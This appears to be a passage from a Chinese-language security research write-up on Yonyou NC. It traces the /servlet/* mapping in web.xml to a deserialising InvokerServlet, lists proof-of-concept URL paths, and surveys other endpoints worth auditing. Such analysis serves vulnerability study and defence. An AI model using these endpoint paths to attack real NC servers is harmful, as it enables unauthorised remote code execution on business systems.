webapps/nc_web/WEB-INF/web.xml:90: </servlet-mapping>
webapps/nc_web/WEB-INF/web.xml:92: <servlet-mapping>
webapps/nc_web/WEB-INF/web.xml:95: </servlet-mapping>
patchmanager/server/conf/web.xml:154:<servlet-mapping>
patchmanager/server/conf/web.xml:157: </servlet-mapping>
patchmanager/server/conf/web.xml:267: <servlet-mapping>
patchmanager/server/conf/web.xml:270: </servlet-mapping>
patchmanager/server/conf/web.xml:274: <servlet-mapping>
patchmanager/server/conf/web.xml:277: </servlet-mapping>
patchmanager/server/conf/web.xml:281: <servlet-mapping>
patchmanager/server/conf/web.xml:284: </servlet-mapping>
patchmanager/server/conf/web.xml:286: <servlet-mapping>
patchmanager/server/conf/web.xml:289: </servlet-mapping>
patchmanager/server/conf/web.xml:293: <servlet-mapping>
patchmanager/server/conf/web.xml:296: </servlet-mapping>
patchmanager/server/conf/web.xml:302: <servlet-mapping>
patchmanager/server/conf/web.xml:305: </servlet-mapping>
Binary file patchmanager/server/lib/j2ee.jar matches
patchmanager/server/webapps/ROOT/RELEASE-NOTES.txt:173:$CATALINA_HOME/conf/web.xml to uncomment the "/servlet/*" servlet-mapping
Binary file nmc/client/lib/j2ee.jar matches
nmc/server/conf/web.xml:154:<servlet-mapping>
nmc/server/conf/web.xml:157: </servlet-mapping>
nmc/server/conf/web.xml:267: <servlet-mapping>
nmc/server/conf/web.xml:270: </servlet-mapping>
nmc/server/conf/web.xml:274: <servlet-mapping>
nmc/server/conf/web.xml:277: </servlet-mapping>
nmc/server/conf/web.xml:281: <servlet-mapping>
nmc/server/conf/web.xml:284: </servlet-mapping>
nmc/server/conf/web.xml:286: <servlet-mapping>
nmc/server/conf/web.xml:289: </servlet-mapping>
nmc/server/conf/web.xml:293: <servlet-mapping>
nmc/server/conf/web.xml:296: </servlet-mapping>
nmc/server/conf/web.xml:302: <servlet-mapping>
nmc/server/conf/web.xml:305: </servlet-mapping>
Binary file nmc/server/lib/j2ee.jar matches
nmc/server/webapps/ROOT/RELEASE-NOTES.txt:173:$CATALINA_HOME/conf/web.xml to uncomment the "/servlet/*" servlet-mapping
内容还是很多,在缩小一点范围:
> grep -rn "/servlet/" |grep "web.xml"
hotwebs/uapsep/WEB-INF/web.xml:62: <url-pattern>/servlet/searchServlet</url-pattern>
hotwebs/uapsep/WEB-INF/web.xml:66: <url-pattern>/servlet/groupServlet</url-pattern>
hotwebs/uapsep/WEB-INF/web.xml:70: <url-pattern>/servlet/sourceServlet</url-pattern>
hotwebs/uapsep/WEB-INF/web.xml:74: <url-pattern>/servlet/adSearchUIServlet</url-pattern>
hotwebs/uapsep/WEB-INF/web.xml:78: <url-pattern>/servlet/adSearchResultServlet</url-pattern>
hotwebs/uapsep/WEB-INF/web.xml:82: <url-pattern>/servlet/SearchTypeServlet</url-pattern>
hotwebs/uapsep/WEB-INF/web.xml:86: <url-pattern>/servlet/SearchRoleServlet</url-pattern>
hotwebs/uapsep/WEB-INF/web.xml:91: <url-pattern>/servlet/monitorServlet</url-pattern>
hotwebs/uapsep/WEB-INF/web.xml:95: <url-pattern>/servlet/metaServlet</url-pattern>
hotwebs/uapsep/WEB-INF/web.xml:99: <url-pattern>/servlet/addDocServlet</url-pattern>
hotwebs/uapsep/WEB-INF/web.xml:103: <url-pattern>/servlet/shardSearchServlet</url-pattern>
hotwebs/uapsep/WEB-INF/web.xml:107: <url-pattern>/servlet/testmainsub</url-pattern>
webapps/nc_web/WEB-INF/web.xml:94: <url-pattern>/servlet/*</url-pattern>
patchmanager/server/conf/web.xml:276: <url-pattern>/servlet/*</url-pattern>
patchmanager/server/webapps/ROOT/RELEASE-NOTES.txt:173:$CATALINA_HOME/conf/web.xml to uncomment the "/servlet/*" servlet-mapping
nmc/server/conf/web.xml:276: <url-pattern>/servlet/*</url-pattern>
nmc/server/webapps/ROOT/RELEASE-NOTES.txt:173:$CATALINA_HOME/conf/web.xml to uncomment the "/servlet/*" servlet-mapping
已经可以看到关于 /servlet/
,应该是在 webapps/nc_web/WEB-INF/web.xml
。
> cat webapps/nc_web/WEB-INF/web.xml |grep -B5 -A5 "/servlet/"
<url-pattern>/service/*</url-pattern>
</servlet-mapping>
<servlet-mapping>
<servlet-name>NCInvokerServlet</servlet-name>
<url-pattern>/servlet/*</url-pattern>
</servlet-mapping>
<mime-mapping>
<extension>xls</extension>
<mime-type>application/vnd.ms-excel</mime-type>
小结
很明显了。就是交给 NCInvokerServlet
类处理,前面的分析其实都在解析这个 web.xml 文件而已,简简单单的事情搞复杂了。
但是利用链里面的关键类是 InvokerServlet。详细看一下这个 NCInvokerServlet:
<servlet>
<servlet-name>NCInvokerServlet</servlet-name>
<servlet-class>nc.bs.framework.server.InvokerServlet</servlet-class>
</servlet>
看到 NCInvokerServlet 是由 nc.bs.framework.server.InvokerServlet
类来处理的。到这里之后因为是 Post 方法交给 doPost 方法处理,最终反序列化。
补充2
PoC 的 URL 可以是
/servlet/~ic/nc.bs.framework.mx.monitor.MonitorServlet
/servlet/~ic/MonitorServlet
/servlet/monitorservlet
探索
详细看一下 webapps/nc_web/WEB-INF/web.xml
。
<?xml version="1.0" encoding="UTF-8"?>
<!--<!DOCTYPE web-app PUBLIC "-//Sun Microsystems, Inc.//DTD Web Application 2.3//EN" "http://java.sun.com/dtd/web-app_2_3.dtd">-->
<web-app xmlns="http://java.sun.com/xml/ns/j2ee"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="http://java.sun.com/xml/ns/j2ee http://java.sun.com/xml/ns/j2ee/web-app_2_4.xsd"
version="2.4" id="WebApp">
<listener>
<listener-class>nc.bs.framework.server.WebApplicationStartupHook</listener-class>
</listener>
<filter>
<filter-name>LoggerFilter</filter-name>
<filter-class>nc.bs.framework.server.LoggerServletFilter</filter-class>
</filter>
<filter-mapping>
<filter-name>LoggerFilter</filter-name>
<url-pattern>/*</url-pattern>
<dispatcher>REQUEST</dispatcher>
</filter-mapping>
<servlet>
<servlet-name>CommonServletDispatcher</servlet-name>
<servlet-class>nc.bs.framework.comn.serv.CommonServletDispatcher</servlet-class>
<init-param>
<param-name>service</param-name>
<param-value>nc.bs.framework.comn.serv.ServiceDispatcher</param-value>
</init-param>
<load-on-startup>10</load-on-startup>
</servlet>
<servlet>
<servlet-name>ProvisionServlet</servlet-name>
<servlet-class>nc.bs.framework.provision.server.ProvisionServlet</servlet-class>
<load-on-startup>5</load-on-startup>
</servlet>
<servlet>
<servlet-name>NCInvokerServlet</servlet-name>
<servlet-class>nc.bs.framework.server.InvokerServlet</servlet-class>
</servlet>
<servlet>
<servlet-name>NCFindWebServlet</servlet-name>
<servlet-class>nc.bs.framework.server.FindWebResourceServlet</servlet-class>
</servlet>
<servlet>
<servlet-name>ws-ncapplet</servlet-name>
<jsp-file>/jsp/wsncapplet.jsp</jsp-file>
</servlet>
<servlet>
<servlet-name>app-esc</servlet-name>
<servlet-class>uap.serverdes.appesc.AppEscServlet</servlet-class>
</servlet>
<servlet-mapping>
<servlet-name>app-esc</servlet-name>
<url-pattern>/app.esc</url-pattern>
</servlet-mapping>
<servlet-mapping>
<servlet-name>ws-ncapplet</servlet-name>
<url-pattern>/ncws.jnlp</url-pattern>
</servlet-mapping>
<servlet-mapping>
<servlet-name>NCFindWebServlet</servlet-name>
<url-pattern>/NCFindWeb</url-pattern>
</servlet-mapping>
<servlet-mapping>
<servlet-name>CommonServletDispatcher</servlet-name>
<url-pattern>/ServiceDispatcherServlet/*</url-pattern>
</servlet-mapping>
<servlet-mapping>
<servlet-name>ProvisionServlet</servlet-name>
<url-pattern>/provision</url-pattern>
</servlet-mapping>
<servlet-mapping>
<servlet-name>NCInvokerServlet</servlet-name>
<url-pattern>/service/*</url-pattern>
</servlet-mapping>
<servlet-mapping>
<servlet-name>NCInvokerServlet</servlet-name>
<url-pattern>/servlet/*</url-pattern>
</servlet-mapping>
<mime-mapping>
<extension>xls</extension>
<mime-type>application/vnd.ms-excel</mime-type>
</mime-mapping>
<welcome-file-list>
<welcome-file>default.jsp</welcome-file>
<welcome-file>index.html</welcome-file>
<welcome-file>index.htm</welcome-file>
<welcome-file>index.jsp</welcome-file>
<welcome-file>default.html</welcome-file>
<welcome-file>default.htm</welcome-file>
</welcome-file-list>
<security-constraint>
<web-resource-collection>
<web-resource-name>uapweb</web-resource-name>
<url-pattern>/*</url-pattern>
<http-method>PUT</http-method>
<http-method>DELETE</http-method>
<http-method>HEAD</http-method>
<http-method>OPTIONS</http-method>
<http-method>TRACE</http-method>
</web-resource-collection>
<auth-constraint>
</auth-constraint>
</security-constraint>
<login-config>
<auth-method>BASIC</auth-method>
</login-config>
<error-page>
<error-code>403</error-code>
<location>/error.jsp</location>
</error-page>
<error-page>
<error-code>404</error-code>
<location>/error.jsp</location>
</error-page>
<error-page>
<error-code>400</error-code>
<location>/error.jsp</location>
</error-page>
<error-page>
<error-code>500</error-code>
<location>/error.jsp</location>
</error-page>
<error-page>
<exception-type>java.lang.Exception</exception-type>
<location>/error.jsp</location>
</error-page>
</web-app>
从 url-pattern
开始看起,一共有这些 URL 是需要特殊(指的是交给某个类)处理的。
/servlet/*
/service/*
/provision
/ServiceDispatcherServlet/*
/NCFindWeb
/ncws.jnlp
/app.esc
前两个是本次漏洞的 URL,剩下几个都可以审计看看。
ServiceDispatcherServlet
nc.bs.framework.comn.serv.CommonServletDispatcher#doPost
public void doPost(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException {
try {
this.rmiHandler.handle(new HttpRMIContext(request, response));
} catch (Throwable var4) {
log.error("remote service error", var4);
}
}
看到也是一个 NDay 漏洞:用友NC历史漏洞(含POC) (qq.com)